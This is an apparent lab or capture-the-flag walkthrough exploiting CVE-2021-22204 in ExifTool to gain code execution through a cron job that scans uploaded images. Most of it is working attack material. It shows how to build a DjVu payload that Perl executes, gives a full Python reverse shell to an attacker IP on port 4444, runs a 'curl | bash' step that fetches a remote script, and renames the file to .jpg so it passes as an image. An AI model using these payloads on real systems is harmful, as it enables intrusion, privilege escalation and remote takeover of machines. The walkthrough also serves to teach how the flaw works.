ExifTool 12.23 – Arbitrary Code Execution – (Privilege escalation) – CVE-2021-22204

ExifTool could allow a local attacker to execute arbitrary code on the system, caused by improper neutralization of user data in the DjVu file format. By using a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system.

Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file. The vulnerability happens when Exiftool tries to parse the DjVu[4] filetype, more specifically the annotations field in the file structure.

To trigger the vulnerable function, we need to create a valid DjVu file that contains an annotation chunk with the payload that will be executed by the eval function as Perl code.

Affected version

7.44 to 12.23

Enumeration

1. Check the tool version

exiftool -ver

2. Supported extensions

exiftool -listf

3. Using PSPY script, I noticed a script running quite often /opt/image-exif.sh, before that script I see cron being executed, so, I assume this is a scheduled task

./pspy64

4. Reading the contents of /etc/crontab I confirm this is a scheduled task

less /etc/crontab

5. I tried to read the file, and I had permissions

ls -l /opt/image-exif.sh
cat /opt/image-exif.sh

6. Taking a look at the script, it does the following

inspect jpg files located in /var/www/html/subrion/uploads
it uses exiftool to read the file and store the EXIF data of each file in /opt/metadata

7. As we verified that exiftool is vulnerable, and it is running to a folder we can write files, we can upload a crafted JPG file so exiftool executes against it

Basic POC

1. Install the required binaries

sudo apt-get install -y djvulibre-bin

2. Create a file named payload, add the following code

vi payload
(metadata “\c${system(‘id’)};”)
cat payload

3. (OPTIONAL) Compress our payload file with to make it non human-readable

bzz payload payload.bzz

4. Convert our payload into .djvu file

# INFO = Anything in the format ‘N,N’ where N is a number

# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image

# ANTz = Will write the compressed annotation chunk with the input file

djvumake exploit.djvu INFO=’1,1′ BGjp=/dev/null ANTz=payload.bzz

5. Transfer this file to the victim machine and run exitftool against it, the output should show the contents of “id” command also

cd /tmp
wget http://192.168.49.158:8081/exploit.djvu
exiftool exploit.djvu

Note: Now we have our basic exploit for Exiftool. But a DjVu file isn’t of much use for us, because it is not accepted in most of the file uploads that we find in the wild. Our next goal is to put the malicious payload and execute it from a JPEG file.

Exploitation (Manual)

1. Knowing exiftool’s installed version and confirming it is vulnerable to CVE-2021-22204 (7.44 to 12.23), we proceed to exploit it

vi exploit.sh

#!/bin/bash

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.49.158”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

2. Create the payload

vi payload
(metadata “\c${system (‘curl http://192.168.49.158/exploit.sh | bash’)};”)

3. Now create a djvu file

djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=payload

4. Proceed to change the file name to look like .jpg

mv exploit.djvu exploit.jpg

5. Start the listener and the web server for the file transfer

python3 -m http.server 8081
nc -lvp 4444

6. Transfer to the remote machine

cd /var/www/html/subrion/uploads
wget http://192.168.49.158:8081/exploit.jpg

Note: As we noticed before, there was a script running in the remote victim machine, it was using exiftool as a scheduled task to inspect jpg files in /var/www/html/subrion/uploads, I will upload exploit.jpg and wait for the task to execute

7. Wait for exiftool to execute the code as per the scheduled task in this case